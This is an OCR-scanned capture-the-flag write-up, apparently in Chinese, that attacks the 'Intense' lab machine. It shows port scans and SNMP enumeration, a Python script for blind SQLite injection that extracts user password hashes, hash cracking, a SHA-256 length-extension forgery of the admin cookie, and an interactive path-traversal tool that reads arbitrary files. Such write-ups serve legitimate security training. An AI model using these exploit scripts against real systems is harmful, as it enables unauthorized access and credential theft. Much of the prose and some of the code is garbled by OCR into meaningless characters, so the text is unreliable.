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root@kali# nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.195
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-05 14:58 EDT

Nmap scan report for 10.10.10.195

Host is up (©.36s latency).

Not shown: 65533 filtered ports

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

2. XF IR 1 BEAT 2 — 2 R

root@kali# nmap -p 22,80 -sC -sV -oA scans/nmap-tcpscripts 10.10.10.195
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-05 14:59 EDT

Nmap scan report for 10.10.10.195

Host is up (©.095s latency).

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6pl Ubuntu 4ubuntu@.3 (Ubuntu Linux; protocol 2.9)
| ssh-hostkey:

| 2048 b4:7b:bd:c0:96:9a:c3:d0:77:80:c8:87:c6:2e:a2:2f (RSA)

| 256 44:cb:fe:20:bb:8d:34:f2:61:28:9b:e8:c7:e9:7b:5e (ECDSA)

| _ 256 28:23:8c:e2:da:54:ed:cb:82:34:al:e3:b2:2d:04:ed (ED25519)

80/tcp open http nginx 1.14.0 (Ubuntu)

| _http-server-header: nginx/1.14.@ (Ubuntu)

| _http-title: Intense - WebApp

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 11.84 seconds

3. XtUDP3%g H BE4T 1R 5

root@kali# nmap -sU -p- --min-rate 10000 -oA scans/nmap-alludp 10.10.10.195
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-08 15:33 EDT

Nmap scan report for 10.10.10.195

Host is up (0.013s latency).

Not shown: 65534 open|filtered ports

PORT STATE SERVICE

161/udp open snmp

Nmap done: 1 IP address (1 host up) scanned in 13.47 seconds
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root@kali# snmpwalk -v 2c -c public 10.10.10.195

SNMPv2-MIB::sysDescr.® = STRING: Linux intense 4.15.0-55-generic #60-Ubuntu SMP
Tue Jul 2 18:22:20 UTC 2019 x86_64

SNMPv2-MIB: :sysObjectID.® = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10
DISMAN-EVENT-MIB: :sysUpTimeInstance = Timeticks: (18407) 0:03:04.07

SNMPv2-MIB: :sysContact.® = STRING: MeSNMPv2-MIB::sysName.® = STRING: intense

# HEHIERS ..

HOST-RESOURCES-MIB: :hrSystemMaxProcesses.® = No more variables left in this MIB
View (It is past the end of the MIB tree)

snmpwalk& A R EEMAH HBURER

MR, K5 BETE5:

B #5IP 10.10.10.195

T 0 80/http 21/ssh 161/snmp
BERSR Ubuntu Bionic 18.04
WEBJZ Nginx/1.14.0

SSHiR A OpenSSH 7.6p1

J#iZVulmon®] PLE— 20 x5 BT 585

Vulmon R—MRIRMRGI%, 77U A A SRR 5L

MRS TR TR 5
Ubuntu Bionic 18.04 CVE-2018-13405 https://vulmon.com/vulnerabilitydetails?qid=CVE-2
. https://vulmon.com/vulnerabilitydetails?qid=CVE-2020-
Nginx/1.14.0 CVE-2020-5505
5505&scoretype=cvssv2
CVE-2018-15473 https://vulmon.com/searchpage?

OpenSSH 7.6p1
CVE-2017-15906 g=openssh+7.6&sortby=byrelevance&page=1

AT CVERI SR, BIERS. WEBMRS 28 SSHIYATELE AT HLF] F 55
0x02 Mk 35 R i 43 #r - 80%% I
WEBM A+



Intense

“his Intense. All Rights Re

o Ms08067TRLLRE

F ;441114 guest/guest
FFAO: /login
JERS AL E : /sre.zip

2. MABFZ JGHIThRE

Intense

Welcome guest

ts Intense. All Right

%o Ms08067TRLTWE

BR3P E A
BH: /submit

B SRR



root@kali# gobuster dir -u http://10.10.10.195 -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -o
scansgobuster-root-medium

Gobuster v3.0.1
by 0J Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)

[+] Url: http://10.10.10.195

[+] Threads: 40

[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 20@,204,301,302,307,401,403

[+] User Agent: gobuster/3.0.1

[+] Timeout: 1@s

2020/07/05 15:10:16 Starting gobuster

/home (Status: 200)
/login (Status: 200)
/submit (Status: 200)
/admin (Status: 403)
/logout (Status: 200)

2020/07/05 15:19:16 Finished

A

Message

unrecognized token: ")"

T Ms08067HLLIET

AHLERERE, THIUTER:

1. 193051 F VR

2. submitfFZEIEN

3. FEEHE RN /admin
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@app.route("/postlogin™, methods=["POST"])
def postlogin():

# ZRER, WERAY, REAFER
data = try_login(request.form)

if data:

resp = make_response("0K")

# Bl — A sessionfR EZFREIE
session = lwt.create_session(data)
cookie = lwt.create_cookie(session)
resp.set_cookie("auth", cookie)
return resp

return "Login failed"

341 try_login AR

def try_login(form):

""" Try to login with the submitted user info """
if not form:

return None

username = form["username"]

# X B [fpassword® £ idhash_passwordit B it ff)
password = hash_password(form["password"])

result = query_db("select count(*) from users where username = ? and secret =
?", (username, password), one=True)

if result and result[0]:

return {"username": username, "secret":password}
return None

BT A E B0 B ) % A R hashid (¥, BT ARRATT AR B Fh 77 32k«
Wi f#hash
i 4 BCookieft) 7 Ageid B %
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#!/usr/bin/env python3

import requests

import string

import sys

def brute_user(res):

for c in string.ascii_lowercase + string.digits:
sys.stdout.write(f"\r[*] Trying username: {res}{c.ljust(20)}")
sys.stdout.flush()

resp = requests.post(

"http://10.10.10.195/submitmessage"”,

data=f"message='|| (select username from users where username LIKE
'{res + c}%' and load_extension('a'))||"'",
headers={"Content-Type": "application/x-www-form-urlencoded"},

)

if "not authorized" in resp.text:

resp = requests.post(

"http://10.10.10.195/submitmessage"”,

data=f"message='|| (select username from users where username =
'{res + c}' and load_extension('a'))||"'",
headers={"Content-Type": "application/x-www-form-urlencoded"},
)

if "not authorized" in resp.text:

print(f"\r[+] Found user: {res}{c.ljust(20)}")

brute_pass(res + c)

brute_user(res + c)

def brute_pass(user):

password = ""

for i in range(64):

for c in string.hexdigits:

sys.stdout.write(f"\r[+] Password: {password}{c}")

sys.stdout.flush()

resp = requests.post(

"http://10.10.10.195/submitmessage"”,

data=f"message="'||(select secret from users where username =

'{user}' and substr(secret, {i+1},1) = '{c}' and load_extension('a'))|]|"'",
headers={"Content-Type": "application/x-www-form-urlencoded"},

)

if "not authorized" in resp.text:

password += c

break

print(f"\r[+] Found secret: {password.ljust(20)}")

brute_user("")

print("\r" + "".1ljust(80))

ython3 dump_users.py I

@ Ms0806 7L LLBT

$KEL hash T T :

admin:f1fc12010c094016def791e1435ddfdcaeccf8250e36630cObc93285c2971105
guest:84983c60f7daadc1cb86986211802c0d9f9a3c3c295c810748fb048115c186ec
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hashcat -m 1400 ./hashes /content/wordlists/rockyou.txt --user

IR AL Thadmin ) #85
2. 43 # Sessionf 7= A HL

create_session f{#g

def create_session(data):

""" Create session based on dict

@data: {"keyl":"valuel","key2":"value2"}
return "keyl=valuel;key2=value2;"

session =
for k, v in data.items():
session += f"{k}={v};"
return session.encode()

create_cookief{i%

def create_cookie(session):

# B XEMAEANNsessiontB Eid b E

cookie_sig = sign(session)

return b64encode(session) + b'.' + b64encode(cookie_sig)

A LLEE], Cookied: B &% 7 3L {8 # ¥ i "key=value;key2=value2"ff £, 2\t T base64 4k i

Xt guestifisessionfd it i

root@kali# echo
"dXN1cm5hbWU9Z3V1c3Q7c2VjcmVOPTg00TgzYzYwZjdkYWFkYZFjYjg20Tg2MjFmODAYYZzBKOWY5Y TN
M2MyOTVjODEWNzQ4ZmIWNDgXMTViMTg2ZWM7 . QFyViArMNX8PRBAR1TZ7+0zP0sOAU51loeuTzGSKXig8=
" | cut -d. -f1 | base64 -d
username=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c¢810748fb048115¢c
186ec;

b, AR EfeiEIkE R secretBI vl PAGe T & 5.

£¥: XBMsecretREdsignR BT, BB ES R secretf £ 5

3. A FE Msecret
Sy Hrsigne

def sign(msg):

Sign message with secret key
return sha256(SECRET + msg).digest()



SECRET £ —NBEHL 3

SECRET = os.urandom(randrange(8, 15))

BEHLEAE 8-157E A, FRATAT DAE BT IR

def try_signature(cookie):

res = requests.get("%s/admin" % URL, cookies={"auth": cookie})

return res.status_code == 200

append = ';username=admin;secret=%s;' % admin_secret

auth_cookie = session.cookies["auth"]

b64_data, b64_sig = auth_cookie.split(".")

data = base64.b64decode(b64_data)

sig = base64.b64decode(b64_sig)

for key_len in range(8, 16):

(new_sig, new_data) = hashpumpy.hashpump(sig.hex(), data, append, key_len)
new_sig = base64.b64dencode(binascii.unhexlify(new_sig)).decode("UTF-8")
new_data = base64.b64encode(new_data).decode("UTF-8")

cookie = "%s.%s" % (new_data, new_sig)

if try_signature(cookie):

print("Found keylength=%d cookie=%s" % (key_len, cookie))

R B Z5 R

757365726€616d653d67756573743b7365637265743d3834393833633630663764616164633163623
836393836323166383032633064396639613363336332393563383130373438666230343831313563
31383665633b80000000000000000000000000000000000000000000000003303b757365726€616d6
53d61646d696e3b7365637265743d6631666331323031306330393430313664656637393165313433
35646466646361656363663832353065333636333063306263393332383563323937313130353b

B CookielE 1T & 5 :

Intense

Welcome admin

yrights Intense. A

B Ms0806TRLLWE
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@admin.route("/admin")

def admin_home():

if not is_admin(request):

abort(403)

return render_template("admin.html")
@admin.route("/admin/log/view", methods=["POST"])
def view_log():

if not is_admin(request):

abort(403)

logfile = request.form.get("logfile")
if logfile:

logcontent = admin_view_log(logfile)
return logcontent

return "'
@admin.route("/admin/log/dir", methods=["POST"])
def list_log():

if not is_admin(request):

abort(403)

logdir = request.form.get("logdir")
if logdir:

logdir = admin_list_log(logdir)
return str(logdir)

return

k%t log B ¥t

#i### Logs functions #iti#

def admin_view_log(filename):

if not path.exists(f"logs/{filename}"):
return f"Can't find {filename}"

with open(f"logs/{filename}") as out:
return out.read()

def admin_list_log(logdir):

if not path.exists(f"logs/{logdir}"):
return f"Can't find {logdir}"

return listdir(logdir)

X B B AR AR SO R BORT it FE BRI, R IS BORAEAE T 98
M\ R BFE
R B 7

WRIALLE : /admin/log/dir
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Regquest

[maw [ Params | Headers | rex |

Response

Raw | Headers | Hex | Render
l

§ -

POST fadein/log/dir HTTP/1.1
Hest: 10.10.10.155
User-Agent: Mozilla/sS.0 (¥11: Linux 285 64; rv:68.0] Gecke/200100101
Firefox/68.0
4 Accept:
text/hinl ,application/zhtal+xnl,application/aml ;gq=0. 9, ¥/¥; g=0.8
Accept -Language: en-US,en q=0.5
& Accept-Bncoding: gzip. deflate
7 Connection: close
Cookie: auth=
dXHL cwShbWUSZIVL 307 2V] cAVOPTgOOTgZYz W) dk YWFk ¥ ZF] ¥ g20T g2H] FrODA
¥ 2Bk OWYSYTH] M2y 0TV O0Swhz 04Zn TwiDga MTV) MTg 22N g ARARAARARARARARAA
AARAAAAAAAAAAAAAAAAAADCT 40SVETHIUYWL ] PAFk B uD3NL ¥ 371 dDLnMWZ] HTTwH
TBj MOk OMDEZZGWaMz k x ZTEOMz Vi 26Tk Y 2F1 Y Z2Nn ODI 1 MOUZ N) ¥ Z MOMY nHSHZ T SMiHy
OTCxMTAL Dw==, K10KSEH 1x2DAwqe Tz 70qSCh 1Bz I 16T/ It Bufk=

) Upgrade-Insecure-Fequests! 1
10 Content-Type: application/x-www-farm-urlencoded
11 Content-Length: B
1
13 legdir=|

u

@

IR S04 3 B
IR E : /admin/log/view
S logfile=../app.ini

Reqguest

_[ Raw ] Params [ Headers ] Hax ]

1L HTTP{1.1 200 OK

2 Serwer: ngimx/1,14.0 {Ubuntu)

3 Date: Wed, 08 Jul 2020 18:52:16 GMT

4 Centent-Type: text/htwl: charset=utf-B
5 Connectien: close

& Content-Length: 133

8 |'__pycache_ ', ‘app.ini', 'logs', 'lwt.py', 'static’, "wsgi.py",
“app.py'. 'database.db’, 'tesplates’'., ‘admin.py', ‘utils.py",
“app.sock']

. Ms0806TZ LS

Response

_[ Raw ] Headers T Hex T Render ]

e

1 POST fadmin/log/view HTTR/1.1
2 Host: 10,10.10.195

I

Firefox/68.0
Accept:

=

text/html, application/xhtnl+xml, application/xnl;gq=0.9,%/%;q=0.8

S Accept-Language: en-US.en;g=0.5
bccept-Encodaing: gzip, deflate
Connection: close

Cookie! auth=

<

User-Agent: Mozillas5.08 (X¥11; Linux x86_64; rv:68,0) Gecko/20100101

A 1 HTTP/1.1 200 OK

P 2 Server: nginx/1.14.8 |(Ubuntu)

Date: Wed, 08 Jul 2620 18:54:38 GMT
Content -Type: text/hinl: charset=utf-8
Connection: close

Content -Length: 33

: 7o7secq S

s LU LU S

dXNL cmShbEWUSZ3V] c307c2V) cnVOFTgROTgzYzYwZj dk YWFk'YzFj Y] g20Tg2M] FmODA
¥'¥ 2Bk OWYSYTNj M2My 0TV ODEwNzQ4Zn IwNDgx MTV] MT g 2ZWMT g ARAAAAAAARARAAAAA
AAAAAAARAAAAAAAAAARAMDCDLA03VZZX UYWL PWFkbWL u03NL Y31 dDLaMWZ] MTIwM
TE] MOk GMDEZZGVmNZk x ZTECMzZ Vi 262k Y 2F1 ¥ 2NmODT LMGLZ N ¥ ZMGHWY nMSMz T ANNMy
OTexMTALOw== K1DKSEHI] LxzDAwqe Tz T00SGhicBN2 1161w/ Tt Bu k=

9 Upgrade-Insecure-Requests: 1

10 Content-Type: application/x-www-form-urlencoded
11 Content-Length: 47

12

13 logfile=. . /.. /.. /. . /. f. . /. /homefuser/user . txt

% 5 H A

#!/usr/bin/env python3
import base64
import binascii
import requests
import subprocess
from cmd import Cmd
class Term(Cmd):
prompt = "intense> "

def __init__ (self):

Cmd.__init__ (self)

# Get Cookie

resp = requests.post(
"http://10.10.10.195/postlogin”,
data={"username": "guest", "password":
headers={

"guest"},

"Content-Type": "application/x-www-form-urlencoded;

3
)

I T
L BN
e

e MsDB0S

charset=UTF8"

orig cookie = resp.headers["Set-Cookie"].split("=", 1)[1]
cookie_data_b64, cookie_sig b64 = orig_cookie.split(".")
cookie_data = base64.b64decode(cookie_data_b64).decode()

cookie_sig_hex =

hinnc~s

i havlifulhacaCAl hCAdAaradal ranlria cina WCEANN Aaradafl\



ULIIASLLLIIEALLI Y |\ UASTU . UUSUSLUUS | LUURLE_J1f_ UL ) s USLUUEY )
print("[+] Guest Cookie acquired")

# Run hash extender

cnd = "/opt/hash_extender/hash_extender --secret-min 8 --secret-max 15 "

cnd += "--data
username=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fbo48115¢c
186ec; "

cmd += f"--signature {cookie_sig hex} -f sha256 --table
cmd += "--append
s;username=admin;secret=f1fc12010c094016def791el1l435ddfdcaeccf8250e36630cObc93285c2
971105;"

hash_extender = (

subprocess.check_output(cmd.split(" ")).strip().decode().split("\n")

)

print("[*] Generated hash extensions for 8 to 15 byte secrets")

for test_hash in hash_extender:
new_cookie_data = base64.b64encode(
binascii.unhexlify(test_hash.split(" ")[-1])
) .decode()

new_cookie_sig = base64.b64encode(
binascii.unhexlify(test_hash.split(" ")[-2])
) .decode()

new_cookie = f"{new_cookie_data}.{new_cookie_sig}"
resp = requests.get(
"http://10.10.10.195/home", cookies=dict(auth=new_cookie),
)

if not "You can login with the username and password"” in resp.text:
print(f"[+] Identified working cookie from generated options!")
self.cookie = new_cookie

break

def do_l1s(self, args):

"Usage: 1ls [path relative to /]"

resp = requests.post(
"http://10.10.10.195/admin/log/dir",
data={"logdir": f"../../../../../{args}"},
cookies={"auth": self.cookie},

)

print(resp.text)

def do_dir(self, args):

"Usage: dir [path relative to /]"
self.do_1s(args)

def do_cat(self, args):

"Usage: cat [file path relative to /1"

resp = requests.post(
"http://10.10.10.195/admin/log/view",
data={"logfile": f"../../../../../{args}"},
cookies={"auth": self.cookie},

)

print(resp.text)

def precmd(self, args):

if len(args.split(" ")) > 2:

c = args.split(" ", 2)[0]

args = f"help {c}"

return args

term = Term()

try:

term.cmdloop()

except KeyboardInterrupt:

print()
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intense> 1ls /home/user/user.txt
#707580d2. ..
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